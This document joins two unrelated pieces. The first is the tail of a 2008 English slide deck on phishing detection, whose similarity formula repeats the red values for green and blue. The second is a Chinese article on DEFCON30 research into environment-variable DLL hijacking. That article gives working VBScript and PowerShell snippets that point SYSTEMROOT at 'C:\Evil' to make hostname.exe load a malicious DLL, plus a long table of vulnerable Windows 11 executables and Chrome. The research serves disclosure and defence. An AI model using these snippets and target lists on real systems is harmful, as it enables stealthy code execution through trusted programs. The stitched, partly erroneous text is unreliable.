few days depending the design of the web application and frequency of server maintenance or reboot • If the victim’s banking account is preset with daily transaction limit, then the attacker might perform several transactions repeatly in different days to steal all the money Account Balance : $100, 000 Daily Transfer Limit : $ 20, 000 Account Balance : $100, 000 Daily Transfer Limit : $ 20, 000 Day 1 : - $20, 000 (Victim pays electricity bill) - 1 security token Day 1 : - $20, 000 (Victim pays electricity bill) - 1 security token Day 1 : $0 (Victim logins to the account) - 1 security token Day 1 : $0 (Victim logins to the account) - 1 security token Day 2 : - $20, 000 (Victim logins to the account) - 1 security token Day 2 : - $20, 000 (Victim logins to the account) - 1 security token Day 2 : - $20, 000 (Victim performs fund transfer for business) - 1 security token Day 2 : - $20, 000 (Victim performs fund transfer for business) - 1 security token Day 2 : - $20, 000 (Victim pays mobile phone bill) - 1 security token Day 2 : - $20, 000 (Victim pays mobile phone bill) - 1 security token Day 3 : - $20, 000 (Victim login just to check balance) - 1 security token Day 3 : - $20, 000 (Victim login just to check balance) - 1 security token Account Balance : $ 0 Daily Transfer Limit : $ 20, 000 Account Balance : $ 0 Daily Transfer Limit : $ 20, 000 Sunday, June 29, 2008 Page 25 Targeted phishing attacks (spear phishing) Source: http://arstechnica.com/news.ars/post/20080606-spear-phishers-land-15000-sucker-fish.html USER EDUCATION IS IMPORTANT! USER EDUCATION IS IMPORTANT! • Highly targeted (corporate, gov., etc.) • Usually make use of email • Not just for financial gain! • Hard to protect users again such threat Sunday, June 29, 2008 Page 26 Existing phishing identification techniques • Domain name age checking • Suspicious IFRAME with tiny width and height • Suspicious URL or encodings used in URL • Similar HTML / Javascript source with legitimate website • SSL certificate validation Sunday, June 29, 2008 Page 27 Approach used by website blocker / filter Blacklisting - Identify the bad sites with blacklisted URL database • Receive phishing reports from public • Automated crawler to find suspicious domain names and websites • Exchange phishing URLs with security vendor partners • Block blacklisted URLs with tools installed on client machine Sunday, June 29, 2008 Page 28 Disadvantages of blacklisting approach • Unable to identify unreported phishing websites in the wild • Client side has to keep updated with latest blacklisted URL DB • Efficiency issue as the amount of blacklisted URL grows Sunday, June 29, 2008 Page 29 How can we improve it better? 1.Identify the visual similarity of rendered website with legitimate website 2.Check target web server characteristics for identification (WEBSITE FINGERPRINTING!) 3.Check target URL’s domain name age 4.Check target URL’s similarity with legitimate URL and suspicious encoding 5.Check target website’s content for suspicious characteristics 6.Compare the data obtained from Step 2-5 with the pre-analyzed information of original banking/financial website Whitelisting approach Sunday, June 29, 2008 Page 30 Identifying visual similarity of a website Simple approach to create signature for web appearance 1.Take screenshot image of a rendered website 2.Calculate the mean values for red, green and blue of the image 3.Use the RGB mean values as ‘website appearance signature’ paypal.png - Screenshot of the real PayPal website messed.png – Messed up image modified from paypal.png Red: 226.26349166666665 Green: 232.64016333333333 Blue: 236.67534166666667 Red: 226.26936333333333 Green: 232.64310833333334 Blue: 236.67663166666668 [MEAN VALUES] [MEAN VALUES] Sunday, June 29, 2008 Page 31 Identifying visual similarity of a website fake.png – Screenshot of fake PayPal website [with contrast and brightness level purposely tweaked] 2checkout.png – Screenshot of the real 2Checkout.com website Red: 225.603835 Green: 231.98625166666667 Blue: 236.01825500000001 Red: 207.40960000000001 Green: 220.19798166666666 Blue: 213.34901500000001 [MEAN VALUES] [MEAN VALUES] Sunday, June 29, 2008 Page 32 r1 – Red color mean value of image-1, r2 – Red color mean value of image-2 g1 – Green color mean value of image-1, g2 – Green color mean value of image-2 b1 – Blue color mean value of image-1, b2 – Blue color mean value of image-2 rDiff = | ( ( r1 – r2 ) / 256 ) | gDiff = | ( ( r1 – r2 ) / 256 ) | bDiff = | ( ( r1 – r2 ) / 256 ) | Therefore, 100 – ((rDiff + gDiff + bDiff) * 100) = % of similarity Example calculation: Difference of paypal.png and messed.png rDiff = |((226.26349166666665 - 226.26936333333333) / 256)| = 0.00002293619791671875 gDiff = |((232.64016333333333 - 232.64310833333334) / 256)| = 0.0000115039062500390625 bDiff = |((236.67534166666667 - 236.67663166666668) / 256)| = 0.0000050390625000390625 100 – (0.000039479166666796875 * 100) = 99.9960520833333203125 % similar Difference of paypal.png and fake.png rDiff = |((226.26349166666665 - 225.603835) / 256)| = 0.0025767838541666015625 gDiff = |((232.64016333333333 - 231.98625166666667) / 256)| = 0.002554342447916640625 bDiff = |((236.67534166666667 - 236.01825500000001) / 256)| = 0.002566744791666640625 100 – (0.0076978710937498828125 * 100) = 99.23021289062501171875 % similar Difference of paypal.png and 2checkout.png rDiff = |((226.26349166666665 - 207.40960000000001) / 256)| = 0.0736480143229165625 gDiff = |((232.64016333333333 - 220.19798166666666) / 256)| = 0.0486022721354166796875 bDiff = |((236.67534166666667 - 213.34901500000001) / 256)| = 0.091118463541666640625 100 – (0.2133687499999998828125 * 100) = 78.66312500000001171875 % similar Identifying visual similarity of a website Sunday, June 29, 2008 Page 33 Example of a basic anti-phishing system Sunday, June 29, 2008 Page 34 Advantages of ‘web appearance signature’ • Easier to obtain signatures of legitimate sites • Able to detect unknown phishing websites Proof-of-Concept Demonstration Sunday, June 29, 2008 Page 36
pdf
DEFCON30 | 拯救环境变量 收录于合集 #红队 18个 通过在进程级别操纵环境变量,可以让受信任的应⽤程序加载任意 DLL 并执⾏恶意代 码。这篇⽂章列出了近 100 个在 Windows 11 (21H2) 上易受此类 DLL 劫持的可执⾏⽂ 件;它演示了如何仅⽤三⾏ VBScript 就可以实现这⼀点。 环境变量 环境变量是在 1970 年代后期在 Unix V7 [ 1 , p.99-101 ] 中引⼊的,作为将信息传递给进程的 ⼀种简单⽅法。事实证明它很受欢迎:⼏年后它也被 PC DOS 2.0 [ 2 , p.477 ] 采⽤,最终演 变成 Windows 操作系统。⼤约四⼗年后,环境变量仍然存在于 Windows 中——尽管其他发 展,例如在 Windows 3.1 中引⼊注册表,已经在⼀定程度上改变了它的⻆⾊。 环境变量的概念很简单:键值对的集合在进程启动时可供进程使⽤,并可⽤作程序流的⼀部 分。顾名思义,这些变量通常包含有关操作系统环境的信息。例如,如果将 HOMEDRIVE 具有 值 C: 的环境变量提供给进程,它可能会使⽤该信息来决定将⽂件存储到 C: 驱动器,⽽不是 任何其他驱动器。 开卷[益 · 不 2022-08-16 11:50 发表于新加坡 原创 bggsec 甲⽅安全建设 显示环境变量在进程环境块 (PEB) 中的存储位置的图表 显示环境变量在进程环境块 (PEB) 中的存储位置的图表。 Windows 中的每个进程都有⼀个关联的进程环境块 (PEB),这是⼀种包含进程可⽤的各种信息 的数据结构 [ 3 ]。如上图所示,环境变量是该结构的⼀部分:所有变量键和值都存储在单个字 符串中,总共可以包含多达 32,767 (2 15 -1) 个字符 [ 4 ]。 ⾄关重要的是,这意味着环境变量可以从进程更改为进程。当⼀个新进程启动时,⽗进程负责 提供环境变量;这些将包含在新流程的 PEB 中。在⼤多数情况下,⽗级将简单地传递它⾃⼰ 启动时收到的环境变量。 这就引出了最⽗进程从哪⾥获取其环境变量的问题。不同的级别上设置环境变量:系统、⽤户 和进程 [ 5 ]。在系统级别设置的环境变量适⽤于所有⽤户;⽤户级变量仅适⽤于当前⽤户。两 者都存储在注册表中,前者在HKLM下,后者在HKCU下。当 Windows 启动时,它⾸先获取 所有系统环境变量。当⽤户登录时,它会添加(并可能覆盖)任何⽤户环境变量。例如, HOM EDRIVE 可能设置为 C: 系统级别,但个别⽤户可能已决定将其设置为 D: . 当在该⽤户的上下 ⽂中启动⼀个新进程时,它将 HOMEDRIVE=D: 作为环境变量接收。最后,当在进程级别设置环 境变量时,它会在单个进程中更改,尽管它可以传递给所有新的⼦进程,但它不像系统和⽤户 级别的环境变量那样“持久” . ⼀个很好的例⼦是 set HOMEDRIVE=X: 在 Windows 命令提示符 中运⾏;从此提示启动的任何新进程都将 HOMEDRIVE=X: 作为环境变量接收,但如果提示关闭 并重新打开,该 HOMEDRIVE 变量将重置为其原始值。 Windows 开箱即⽤地定义了许多环境变量。尽管可以覆盖这些值,但这些值通常是在安装 Windows 时设置的,并且永远不会更改。包括系统组件在内的各种程序都依赖于这些变量; 例如,某些程序使⽤ SYSTEMROOT (或更旧的 WINDIR )来获取 Windows ⽂件夹的路径,通 常是 C:\Windows . 劫持机会 如前所述,程序可能依赖这些“标准”环境变量来确定某些⽂件的路径。例如,事实证明有相当 多的程序依赖 SYSTEMROOT 并 WINDIR 加载位于 C:\Windows\System32 ⽂件夹中的 DLL。 h ostname.exe 例如,尝试在 %SYSTEMROOT%\System32\mswsock.dll 运⾏时加载带有路径的 DLL;在正常情况下,这将解析为 C:\Windows\System32\mswsock.dll . 因为这是⼀条绝对 路径,所以不会调⽤ DLL 搜索顺序,因此⼈们可能会得出结论,这不会为我们提供 DLL 劫持 机会 [ 6 ]。 然⽽,由于涉及到⼀个变量,这仍然可以被利⽤:如果要更改 to 的值 SYSTEMROOT , C:\Ev il 程序将尝试加载 C:\Evil\System32\mswsock.dll 。如果攻击者将恶意 DLL 放在该位 置,则会导致合法 hostname.exe 的 DLL 被欺骗加载攻击者的 DLL;因此,这毕竟为我们提 供了⼀种新型的 DLL Hijacking 可以说,执⾏这种技术说起来容易做起来难。在系统或⽤户级别更改值的⼀个主要问题 SYSTE MROOT 是它实际上会破坏整个操作系统。如此多的系统组件依赖于 SYSTEMROOT 许多程序,如 果您将其指向⼀个不包含它们所期望的 DLL 的⽬录,那么许多程序将⽆法正常⼯作。这会导 致系统不稳定,甚⾄可能导致操作系统完全停⽌⼯作。因此,在⼤多数情况下,它⾸先会破坏 执⾏ DLL 劫持的⽬的。 但是,正如我们所⻅,也可以仅在进程级别更改环境变量。这意味着只有那个单⼀的新进程将 具有更新的值(或者,如果它碰巧创建了任何⼦进程,那么这些也可能)。因此,其他程序将 不受影响,系统不应因此⽽变得不稳定。 [与其他 DLL 劫持⽅法  6 ]相⽐,这种⽅法有许多优点。例如,⽆需移动易受攻击的可执⾏⽂ 件:只需在从正常位置执⾏易受攻击的程序之前更改环境变量,就会导致加载恶意 DLL。此 外,由于可以使⽤更改的环境变量启动程序,⽽不必执⾏诸如⽂件写⼊或注册表更改之类的嘈 杂操作,因此检测机制不太可能检测到劫持本身。最后,可以通过多种⽅式使⽤更改的环境变 量启动新进程。除了从已编译的可执⾏⽂件中执⾏此操作外,PowerShell、VBScript 和 JScript 等内置脚本引擎也⽀持这⼀点。 显示基于环境变量的 DLL 劫持⼯作的图表。 上图从⾼层次展示了成功的基于环境变量的 DLL 劫持可能是什么样⼦。VBScript 不必特别复 杂;例如,下⾯的代码就⾜够了: Set shell = WScript.CreateObject("WScript.Shell") shell.Environment("Process")("SYSTEMROOT") = "C:\Evil" shell.Exec("C:\windows\system32\hostname.exe") 在 Windows 11 上,在创建后运⾏此脚本 C:\Evil\system32\mswsock.dll 确实会 hostnam e.exe 加载 DLL,如下所示: 示例显示执⾏ VBScript ⽂件导致位于 C:\windows\system32 中的合法 hostname.exe 被执⾏并 成功加载 mswsock.dll 的恶意版本。 在 PowerShell 中这样做可以通过 $env:SYSTEMROOT="C:\Evil" 在调⽤⽬标进程之前的简单 语句来实现;但是,由于 PowerShell 本身也将使⽤这个新值,它可能会导致 PowerShell 在某 些情况下中断。⼀种更可靠的启动新进程并且只更新新进程的环境变量的⽅法如下: $s = New-Object System.Diagnostics.ProcessStartInfo $s.FileName="C:\windows\system32\hostname.exe" $s.EnvironmentVariables.Remove("SYSTEMROOT") $s.EnvironmentVariables.Add("SYSTEMROOT", "C:\Evil") $s.UseShellExecute = $false $p = New-Object System.Diagnostics.Process $p.StartInfo = $s $p.Start() 识别易受攻击的可执⾏⽂件 要了解这种技术引⼊的问题的规模,应该通过针对更⼤的可执⾏⽂件组进⾏测试来调查这种类 型的 DLL 劫持易受攻击的普遍程度。我们将⾃⼰限制在 System32 标准 Windows 11 安装⽂ 件夹中的签名可执⾏⽂件中,我们有⼀个包含 600 多个可执⾏⽂件的测试组。 ⼀个简单的⽅法是在进程级别设置⼀个有趣的环境变量,例如 SYSTEMROOT or WINDIR ,将 其指向⼀个唯⼀的⽬录,然后执⾏我们测试组中的每个可执⾏⽂件(没有任何特殊的命令⾏参 数)。使⽤ Procmon [ 9 ],可以有效地监控位于我们⽬录下的 DLL 加载尝试。尽管这⽴即为 我们提供了许多可能的候选者,但它并没有为我们提供任何证据证明如果存在恶意 DLL ⽂ 件,它们实际上会被加载。 为此,将⾃定义 DLL ⽂件放在提供的位置并验证哪些⽂件已成功加载将是有益的。在通常解 析为的 SYSTEMROOT 和的情况下,这意味着必须编译超过 20,000 个“⾃定义”DLL ⽂件才能使 测试尽可能完整。编译⾃定义 DLL 并不像听起来那样简单 [ 6 ],更不⽤说必须编译数千个 DLL。 WINDIR``C:\Windows 在本研究采⽤的⽅法中,编译的 DLL ⽂件将在加载时将指纹⽂件写⼊磁盘,从⽽识别哪个 DLL 是由哪个进程加载的。如果这些“植⼊”DLL 都被复制到前⾯提到的唯⼀⽂件夹中,执⾏我 们测试组中的每个可执⾏⽂件应该会⽣成许多正在创建的指纹⽂件;准确告诉我们哪些进程易 受攻击,以及涉及哪些 DLL。 ⽀持代码,可⽤于编译⼤量 DLL 以实现 DLL 劫持、利⽤开源⼯具并使⽤“DLL 导出代理”和 “DLL 资源克隆”以最⼤限度地与测试的可执⾏⽂件兼容,可以在以下位置找到GitHub [ 10 ]。 那⾥还提供了对所采⽤⽅法的更彻底和技术性的解释。 已确认易受攻击的应⽤程序 应⽤此⽅法后,下表列出了 C:\windows\system32 Windows 11 (21H2) 上易受基于环境变量 的 DLL 劫持的所有可执⾏⽂件。第⼀列显示了更改的环境变量,第⼆列显示了易受攻击的应 ⽤程序,第三列显示了从更改的位置(相对于环境变量)加载的 DLL。如上⼀节所述,这些不 仅仅是理论上的⽬标,它们经过测试并确认是有效的。该列表包括 82 个可执⾏⽂件和 91 个 唯⼀的 DLL。 显示298个条⽬ 搜索: 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% AppHostRegistrationVerifier.exe \system32\npmproxy.dll %SYSTEMROO T% ApplicationFrameHost.exe \system32\ApplicationFrame. dll %SYSTEMROO T% calc.exe \system32\twinui.appcore.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\execmodelproxy.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% certreq.exe \system32\NetworkExplorer.dl l 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\wpdshext.dll %SYSTEMROO T% \system32\explorerframe.dll %SYSTEMROO T% \system32\comdlg32.dll %SYSTEMROO T% \system32\MMDevApi.dll %SYSTEMROO T% \system32\p9np.dll %SYSTEMROO T% \system32\cscobj.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\dataexchange.dll %SYSTEMROO T% \system32\drprov.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\davclnt.dll %SYSTEMROO T% \system32\windowscodecs.dll %SYSTEMROO T% \system32\Windows.Storage.Search. dll %SYSTEMROO T% \system32\ntlanman.dll %SYSTEMROO T% \system32\shell32.dll %SYSTEMROO T% \system32\cscui.dll %SYSTEMROO T% \system32\StructuredQuery.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% charmap.exe \system32\dataexchange.dll %SYSTEMROO T% cleanmgr.exe \system32\propsys.dll %SYSTEMROO T% CloudNotifications.exe \system32\UIAnimation.dll %SYSTEMROO T% CompMgmtLauncher.exe \system32\rsaenh.dll %SYSTEMROO T% \system32\SspiCli.dll %SYSTEMROO T% \system32\cscui.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\WindowsCodecs.dll %SYSTEMROO T% \system32\windowsudk.shellcommo n.dll %SYSTEMROO T% \system32\cscobj.dll %SYSTEMROO T% \system32\XmlLite.dll %SYSTEMROO T% \system32\ntshrui.dll %SYSTEMROO T% \system32\twext.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% conhost.exe \system32\msctf.dll %SYSTEMROO T% control.exe \system32\StructuredQuery.dl l %SYSTEMROO T% \system32\windows.storage.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\MSWB7.dll %SYSTEMROO T% \system32\explorerframe.dll %SYSTEMROO T% \system32\shell32.dll %SYSTEMROO T% \system32\Windows.Storage.Search. dll %SYSTEMROO T% cttune.exe \system32\fastprox.dll %SYSTEMROO T% \system32\wbemsvc.dll %SYSTEMROO T% \system32\wbemprox.dll %SYSTEMROO T% curl.exe \system32\mswsock.dll %SYSTEMROO T% ddodiag.exe \system32\PROPSYS.dll %SYSTEMROO T% \system32\FdDevQuery.dll %SYSTEMROO T% DeviceCensus.exe \system32\IDStore.dll %SYSTEMROO T% \system32\FlightSettings.dll %SYSTEMROO T% \system32\npmproxy.dll %SYSTEMROO T% \system32\wlidprov.dll %SYSTEMROO T% \system32\sapi_onecore.dll %SYSTEMROO T% \system32\MMDevApi.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\wbemprox.dll %SYSTEMROO T% \system32\mswsock.dll %SYSTEMROO T% \system32\wbemsvc.dll %SYSTEMROO T% \system32\fastprox.dll %SYSTEMROO T% DevicePairingWizard.exe \system32\xwtpw32.dll %SYSTEMROO T% \system32\DevicePairing.dll %SYSTEMROO T% \system32\xwizards.dll %SYSTEMROO T% dfrgui.exe \system32\defragproxy.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\windowscodecs.dll %SYSTEMROO T% directxdatabaseupdater.exe \system32\npmproxy.dll %SYSTEMROO T% DiskSnapshot.exe \system32\rsaenh.dll %SYSTEMROO T% DpiScaling.exe \system32\ndfapi.dll %SYSTEMROO T% \system32\IPHLPAPI.DLL %SYSTEMROO T% \system32\shell32.dll %SYSTEMROO T% \system32\wdi.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% driverquery.exe \system32\wbemsvc.dll %SYSTEMROO T% \system32\wbemprox.dll %SYSTEMROO T% \system32\fastprox.dll %SYSTEMROO T% explorer.exe \system32\explorerframe.dll %SYSTEMROO T% \system32\cscui.dll %SYSTEMROO T% \system32\Windows.Storage.Search. dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\StructuredQuery.dll %SYSTEMROO T% \system32\WindowsCodecs.dll %SYSTEMROO T% \system32\XmlLite.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\MSWB7.dll %SYSTEMROO T% \system32\windowsudk.shellcommo n.dll %SYSTEMROO T% FileHistory.exe \system32\ncrypt.dll %SYSTEMROO T% \system32\EFSUTIL.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\MPR.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\XmlLite.dll %SYSTEMROO T% \system32\DSROLE.dll %SYSTEMROO T% \system32\windowscodecs.dll %SYSTEMROO T% \system32\rsaenh.dll %SYSTEMROO T% \system32\wevtapi.dll %SYSTEMROO T% \system32\fhcfg.dll %SYSTEMROO T% \system32\msctf.dll %SYSTEMROO T% \system32\explorerframe.dll %SYSTEMROO T% ftp.exe \system32\napinsp.dll %SYSTEMROO T% \system32\nlansp_c.dll %SYSTEMROO T% \system32\winrnr.dll %SYSTEMROO T% \system32\wshbth.dll %SYSTEMROO T% \system32\mswsock.dll %SYSTEMROO T% \system32\pnrpnsp.dll %SYSTEMROO T% FXSCOVER.exe \system32\netprofm.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\npmproxy.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% GamePanel.exe \system32\UIAnimation.dll %SYSTEMROO T% \system32\windowscodecs.dll %SYSTEMROO T% getmac.exe \system32\fastprox.dll %SYSTEMROO T% \system32\wbemprox.dll %SYSTEMROO T% \system32\wbemsvc.dll %SYSTEMROO T% gpresult.exe \system32\wbemprox.dll %SYSTEMROO T% HOSTNAME.EXE \system32\napinsp.dll %SYSTEMROO T% \system32\nlansp_c.dll %SYSTEMROO T% \system32\pnrpnsp.dll %SYSTEMROO T% \system32\mswsock.dll %SYSTEMROO T% \system32\wshbth.dll %SYSTEMROO T% \system32\winrnr.dll %SYSTEMROO T% licensingdiag.exe \system32\wbemprox.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\rsaenh.dll %SYSTEMROO T% \system32\wbemsvc.dll %SYSTEMROO T% \system32\Windows.Storage.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\fastprox.dll %SYSTEMROO T% logman.exe \system32\wevtapi.dll %SYSTEMROO T% \system32\pla.dll %SYSTEMROO T% \system32\Cabinet.dll %SYSTEMROO T% \system32\pdh.dll %SYSTEMROO T% LogonUI.exe \system32\logoncontroller.dll %SYSTEMROO T% lpksetup.exe \system32\lpksetupproxyserv. dll %SYSTEMROO T% \system32\rsaenh.dll %SYSTEMROO T% mblctr.exe \system32\MMDevApi.dll %SYSTEMROO T% Microsoft.Uev.SyncController.exe \system32\rsaenh.dll %SYSTEMROO T% \system32\npmproxy.dll %SYSTEMROO T% mobsync.exe \system32\shell32.dll %SYSTEMROO T% msdt.exe \system32\drprov.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\ntlanman.dll %SYSTEMROO T% \system32\p9np.dll %SYSTEMROO T% \system32\davclnt.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% msinfo32.exe \system32\wbemprox.dll %SYSTEMROO T% \system32\fastprox.dll %SYSTEMROO T% \system32\wbemsvc.dll %SYSTEMROO T% mstsc.exe \system32\Windows.Storage. dll %SYSTEMROO T% \system32\shell32.dll %SYSTEMROO T% \system32\windowscodecs.dll %SYSTEMROO T% \system32\msctf.dll %SYSTEMROO T% \system32\explorerframe.dll %SYSTEMROO T% Notepad.exe \system32\cscobj.dll %SYSTEMROO T% \system32\dataexchange.dll %SYSTEMROO T% \system32\comdlg32.dll %SYSTEMROO T% \system32\NetworkExplorer.dll %SYSTEMROO T% \system32\MMDevApi.dll %SYSTEMROO T% \system32\drprov.dll %SYSTEMROO T% \system32\wpdshext.dll %SYSTEMROO T% \system32\shell32.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\windowscodecs.dll %SYSTEMROO T% \system32\davclnt.dll %SYSTEMROO T% \system32\explorerframe.dll %SYSTEMROO T% \system32\p9np.dll %SYSTEMROO T% \system32\ntlanman.dll %SYSTEMROO T% \system32\Windows.Storage.Search. dll %SYSTEMROO T% \system32\ntshrui.dll %SYSTEMROO T% \system32\StructuredQuery.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\cscui.dll %SYSTEMROO T% \system32\cabview.dll %SYSTEMROO T% nslookup.exe \system32\mswsock.dll %SYSTEMROO T% phoneactivate.exe \system32\rsaenh.dll %SYSTEMROO T% powershell.exe \system32\windows.storage.d ll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\p9np.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\davclnt.dll %SYSTEMROO T% \system32\rsaenh.dll %SYSTEMROO T% \system32\ntlanman.dll %SYSTEMROO T% \system32\drprov.dll %SYSTEMROO T% PresentationSettings.exe \system32\windowscodecs.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\shell32.dll %SYSTEMROO T% \system32\MMDevApi.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% rasphone.exe \system32\IPHLPAPI.DLL %SYSTEMROO T% \system32\DUI70.dll %SYSTEMROO T% \system32\SspiCli.dll %SYSTEMROO T% \system32\connect.dll %SYSTEMROO T% \system32\eappcfg.dll %SYSTEMROO T% \system32\netshell.dll %SYSTEMROO T% \system32\TWINAPI.dll %SYSTEMROO T% \system32\xwizards.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\rasgcw.dll %SYSTEMROO T% \system32\NetSetupApi.dll %SYSTEMROO T% \system32\xwtpw32.dll %SYSTEMROO T% \system32\credui.dll %SYSTEMROO T% rdpclip.exe \system32\twinapi.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\netprofm.dll %SYSTEMROO T% \system32\npmproxy.dll %SYSTEMROO T% RMActivate \system32\isv.exe_rsaenh.dll %SYSTEMROO T% \system32\ssp_isv.exe_rsaenh.dll %SYSTEMROO T% \system32\ssp.exe_rsaenh.dll %SYSTEMROO T% RMActivate.exe \system32\rsaenh.dll %SYSTEMROO T% RpcPing.exe \system32\mswsock.dll %SYSTEMROO T% ScriptRunner.exe \system32\rsaenh.dll %SYSTEMROO T% ShellAppRuntime.exe \system32\IDStore.dll %SYSTEMROO T% \system32\shell32.dll %SYSTEMROO T% \system32\wlidprov.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\bcrypt.dll %SYSTEMROO T% sihost.exe \system32\desktopshellext.dll %SYSTEMROO T% slui.exe \system32\ndfapi.dll %SYSTEMROO T% \system32\IPHLPAPI.DLL %SYSTEMROO T% \system32\wdi.dll %SYSTEMROO T% SndVol.exe \system32\MMDevApi.dll %SYSTEMROO T% SppExtComObj.Exe \system32\rsaenh.dll %SYSTEMROO T% stordiag.exe \system32\fwpuclnt.dll %SYSTEMROO T% \system32\davclnt.dll %SYSTEMROO T% \system32\wmidcom.dll %SYSTEMROO T% \system32\wbemsvc.dll %SYSTEMROO T% \system32\wshbth.dll %SYSTEMROO T% \system32\wmiutils.dll %SYSTEMROO T% \system32\drprov.dll %SYSTEMROO T% \system32\nlansp_c.dll %SYSTEMROO T% \system32\fastprox.dll %SYSTEMROO T% \system32\p9np.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\winrnr.dll %SYSTEMROO T% \system32\mswsock.dll %SYSTEMROO T% \system32\napinsp.dll %SYSTEMROO T% \system32\pnrpnsp.dll %SYSTEMROO T% \system32\wbemprox.dll %SYSTEMROO T% \system32\ntlanman.dll %SYSTEMROO T% \system32\rsaenh.dll %SYSTEMROO T% systeminfo.exe \system32\wbemprox.dll %SYSTEMROO T% \system32\fastprox.dll %SYSTEMROO T% \system32\wbemsvc.dll %SYSTEMROO T% tabcal.exe \system32\davclnt.dll %SYSTEMROO T% \system32\ntlanman.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\p9np.dll %SYSTEMROO T% \system32\drprov.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% taskkill.exe \system32\wbemprox.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% tasklist.exe \system32\fastprox.dll %SYSTEMROO T% \system32\wbemprox.dll %SYSTEMROO T% \system32\wbemsvc.dll %SYSTEMROO T% \system32\wmiutils.dll %SYSTEMROO T% tzsync.exe \system32\rsaenh.dll %SYSTEMROO T% UevAppMonitor.exe %SYSTEMROO T% UserAccountControlSettings.exe %SYSTEMROO T% verifier.exe \system32\ntlanman.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\p9np.dll %SYSTEMROO T% \system32\drprov.dll %SYSTEMROO T% \system32\davclnt.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% WallpaperHost.exe \system32\shell32.dll %SYSTEMROO T% WFS.exe \system32\windowscodecsex t.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\windowscodecs.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% winver.exe \system32\windowscodecs.dll %SYSTEMROO T% wordpad.exe \system32\dataexchange.dll %SYSTEMROO T% \system32\bcrypt.dll %SYSTEMROO T% \system32\windowscodecs.dll %SYSTEMROO T% \system32\netprofm.dll %SYSTEMROO T% \system32\npmproxy.dll %SYSTEMROO T% \system32\msxml3.dll %SYSTEMROO T% \system32\msctf.dll %SYSTEMROO T% \system32\UIRibbon.dll %SYSTEMROO T% ⼯作⽂件夹.exe \system32\davclnt.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\p9np.dll %SYSTEMROO T% \system32\drprov.dll %SYSTEMROO T% \system32\ntlanman.dll %SYSTEMROO T% write.exe \system32\davclnt.dll 环境变量 可执⾏⽂件 DLL(相对于变量) %SYSTEMROO T% \system32\drprov.dll %SYSTEMROO T% \system32\windows.storage.dll %SYSTEMROO T% \system32\p9np.dll %SYSTEMROO T% \system32\propsys.dll %SYSTEMROO T% \system32\ntlanman.dll %SYSTEMROO T% WSCollect.exe \system32\windows.storage.d ll %SYSTEMROO T% \system32\windowscodecs.dll %WINDIR% BdeHdCfg.exe \system32\dbghelp.dll %WINDIR% deploymentcsphelper.exe %WINDIR% djoin.exe %WINDIR% dnscacheugc.exe %WINDIR% 即Unatt.exe %WINDIR% 许可诊断程序 \system32\LicensingDiagSpp. dll %WINDIR% MuiUnattend.exe \system32\dbghelp.dll %WINDIR% netbtugc.exe %WINDIR% netiougc.exe %WINDIR% PnPUnattend.exe %WINDIR% ReAgentc.exe %WINDIR% 安装程序 如果我们考虑到其他流⾏/标准软件,列表会变得更⼤: 显示76个条⽬ 搜索: 环境变量 应⽤ 可执⾏⽂件 DLL(相 对于变 量) 环境变量 应⽤ 可执⾏⽂件 DLL(相 对于变 量) %SYSTE MROO T% Chrome 90 C:\Program Files\Google\Chrom e\Application\chrome.exe \system3 2\dataex change.d ll %SYSTE MROO T% \system32\explorerframe.dll %SYSTE MROO T% \system32\mswsock.dll %SYSTE MROO T% 